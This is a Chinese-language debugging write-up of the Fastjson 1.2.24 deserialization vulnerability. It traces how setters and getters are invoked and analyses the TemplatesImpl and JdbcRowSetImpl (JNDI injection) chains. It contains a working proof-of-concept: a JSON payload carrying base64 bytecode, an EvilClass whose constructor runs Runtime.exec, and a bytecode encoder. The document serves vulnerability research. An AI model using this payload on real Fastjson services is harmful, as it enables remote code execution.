一篇关于Fastjson利用链调试的文章
准备文件
pom.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>org.example</groupId> <artifactId>untitled</artifactId> <version>1.0-SNAPSHOT</version> <name>Archetype - untitled</name> <dependencies> <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.24</version> </dependency> </dependencies> <url>http://maven.apache.org</url> </project>
|
test.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.serializer.SerializerFeature; public class test { public static void main(String[] args) { user user = new user("张三",18,"学习"); String s1 = JSON.toJSONString(user); String s2 = JSON.toJSONString(user, SerializerFeature.WriteClassName); System.out.println(s1); System.out.println(s2); System.out.println("-----------------------------------------------------"); Object parse = JSON.parse(s2); System.out.println(parse); System.out.println(parse.getClass().getName()); System.out.println("-----------------------------------------------------"); Object parse1 = JSON.parseObject(s2); System.out.println(parse1); System.out.println(parse1.getClass().getName()); System.out.println("-----------------------------------------------------"); Object parse2 = JSON.parseObject(s2,Object.class); System.out.println(parse2); System.out.println(parse2.getClass().getName()); } }
|
流程分析の任意set
在JSON.parse这里下一个断点,跟进去
跳几步parser重载,来到DefaultJSONParser.parse
这里,经过一系列条件判断(其实就看text的第一个字符是什么,这里因为是左括号,所以给他判定为了json解析,用的是json解析器)调用了parseObject(object, fieldName)
,跟进一下
可以看到,在这个parseObject代码里的最后部分完成了反序列化操作,先得到反序列化器,再执行反序列化,前面会通过一套相当麻烦的流程取到当前正在解析的key的名称,如果他是@type类型的,就去获取这个typename的类对象,作为后续反序列化器的参数进行加载,这里咱们如果想要继续调试,还得接着跟进一下反序列化器( getDeserializer
) 这里
经过一堆缓存加载判断,我们来到了createJavaBeanDeserializer
这里(可喜可贺),我们接着跟进
我们直接来到了asmEnable判断这里,这里非常的关键,只有当这里的asmEnable为false,我们才能得到一个真正意义上可调试的反序列化器(这里是用户自定义反序列化器),如果不管的话,他就会用asm自己搞一个没法调试的反序列化器(相关代码如下)
1 2
| JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, type, propertyNamingStrategy); return asmFactory.createJavaBeanDeserializer(this, beanInfo);
|
这里是直接在idea里面给asmEnable设值过的,不过其实也有别的办法
(比如给要反序列化的对象插一个Map的属性)
得到一个能用的反序列化器之后,再重新跟进一下DefaultJsonParser
里
return deserializer.deserialze(this, clazz, fieldName)
这段代码。
我们新的关键点如下图所示,嗯,是一个设置属性值得地方
(他会先把所有属性给遍历一遍,然后用反射把每个属性的值给搞出来,赋给object)
我们跟进一下
最终结果如下,就在调用的set方法,要注意一下,这个方法不能是个getonly的方法,不然就没办法了(都能set了,怎么可能是个getonly方法)
最后再提一下吧,有关于method的获取都是在那个JavaBeanSerializer类里面搞得,其基本要求如下
对Set方法的要求:
- 方法名不小于4
- 方法不得为静态方法
- 方法的返回类型得是void或者是方法本身所属的类
- 方法的参数类型有且仅有一个
- 方法名称以set开头,且第四个字母为大写
对Get方法的要求:
- 方法名不小于4
- 方法不得为静态方法
- 方法名称以get开头,且第四个字母为大写
- 方法不能有参数
- 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong
流程分析の任意get
再去分析一下parseObject这里,我们跟进
结果如图,能看出里面已经把parse封装好了(会调用set的罪魁祸首就是你)
然后我们试着跟进一下 JSON.toJSON()
,就是这里完成的get调用
在最终起作用的toJSON里,会对传入的javaObject进行一系列判断,根据javaObject的类型决定后续的操作,由于这里是用户自定义的java bean
对象,最终是来到了下图所示代码区,通过此处的代码,我们成功的把 javaObject
的属性和属性值转化成了一个map,接着跟进
道理是一样的,遍历get方法,跟进getPropertyValue
第一行就在获取属性值了,跟进
这里的method默认就是getXXX,然后就直接给调用了。。。
流程分析のTemplate链
前置条件
首先前置条件如下:
- fastjson反序列化时需有
Feature.SupportNonPublicField
参数
- (Fastjson默认只能反序列化public属性)
_bytecodes[]
需进行base64编码
_bytecodes[]
中加载的类需为AbstractTranslet
的子类
_name
不为null
_tfactory
不为null
相关文件
POC
1 2 3 4 5 6 7 8
| import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; public class POC1 { public static void main(String[] args) { String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \"_bytecodes\":[\"yv66vgAAADQANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtMRXZpbENsYXNzOwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQAJZXZpbENsYXNzBwAuAQAKU291cmNlRmlsZQEADkV2aWxDbGFzcy5qYXZhDAAIAAkHAC8MADAAMQEACGNhbGMuZXhlDAAyADMBAAlFdmlsQ2xhc3MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgALAAAADgADAAAACgAEAAsADQAMAAwAAAAMAAEAAAAOAA0ADgAAAA8AAAAEAAEAEAABABEAEgACAAoAAAA/AAAAAwAAAAGxAAAAAgALAAAABgABAAAAEQAMAAAAIAADAAAAAQANAA4AAAAAAAEAEwAUAAEAAAABABUAFgACAA8AAAAEAAEAFwABABEAGAACAAoAAABJAAAABAAAAAGxAAAAAgALAAAABgABAAAAFAAMAAAAKgAEAAAAAQANAA4AAAAAAAEAEwAUAAEAAAABABkAGgACAAAAAQAbABwAAwAPAAAABAABABcACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAFwAIABgADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ=\"], '_name':'c.c', '_tfactory':{ },\"_outputProperties\":{}, \"_name\":\"a\", \"_version\":\"1.0\", \"allowedProtocols\":\"all\"}"; JSON.parseObject(payload, Feature.SupportNonPublicField); } }
|
EvilClass
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class EvilClass extends AbstractTranslet { public EvilClass() throws IOException { Runtime.getRuntime().exec("calc.exe"); } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException{ } public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException{ } public static void main(String[] args) throws Exception{ EvilClass evilClass = new EvilClass(); } }
|
bytecode生成
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| import java.io.ByteArrayOutputStream; import java.io.FileInputStream; import java.util.Base64; import java.util.Base64.Encoder; public class HelloWorld { public static void main(String args[]) { byte[] buffer = null; String filepath = "E:\\历史CVE复现\\Java\\Fastjson反序列化\\1.2.24\\untitled\\target\\classes\\EvilClass.class"; try { FileInputStream fis = new FileInputStream(filepath); ByteArrayOutputStream bos = new ByteArrayOutputStream(); byte[] b = new byte[1024]; int n; while((n = fis.read(b))!=-1) { bos.write(b,0,n); } fis.close(); bos.close(); buffer = bos.toByteArray(); }catch(Exception e) { e.printStackTrace(); } Encoder encoder = Base64.getEncoder(); String value = encoder.encodeToString(buffer); System.out.println(value); } }
|
审计分析
前半部分和之前那个userbean的几乎重合,但侧重点有所不同,比如在获得反序列化器那里,这个beanInfo就已经是个关键点了,我们跟进看一看
在这里就把get和set给筛进了fieldList里,用不着急等到下一步了。
(仔细看了一遍,在后面那个的那个反序列化器里面,又给重新筛了一遍,逻辑都是一样的,麻)
到这里的时候就会把getoutPrinter
筛进fieldList去
调用如下:
调用newTransformer
调用 getTransletInstance()
在loader.defineClass
这里加载分批bytescode,这个defineClass相当于是loadclass重写方法,就不跟进了
流程分析のJdbcRowSetImpl
跟进一下setDataSourceName
,这里就是把传进去的值赋给dataSource
,结果如下图
再跟进一下setAutoCommit
方法
关键在 connect() 这个函数上
跟进分析分析,还行那另一处ctx.lookup,值就是刚才赋的datasourcename,一眼jndi注入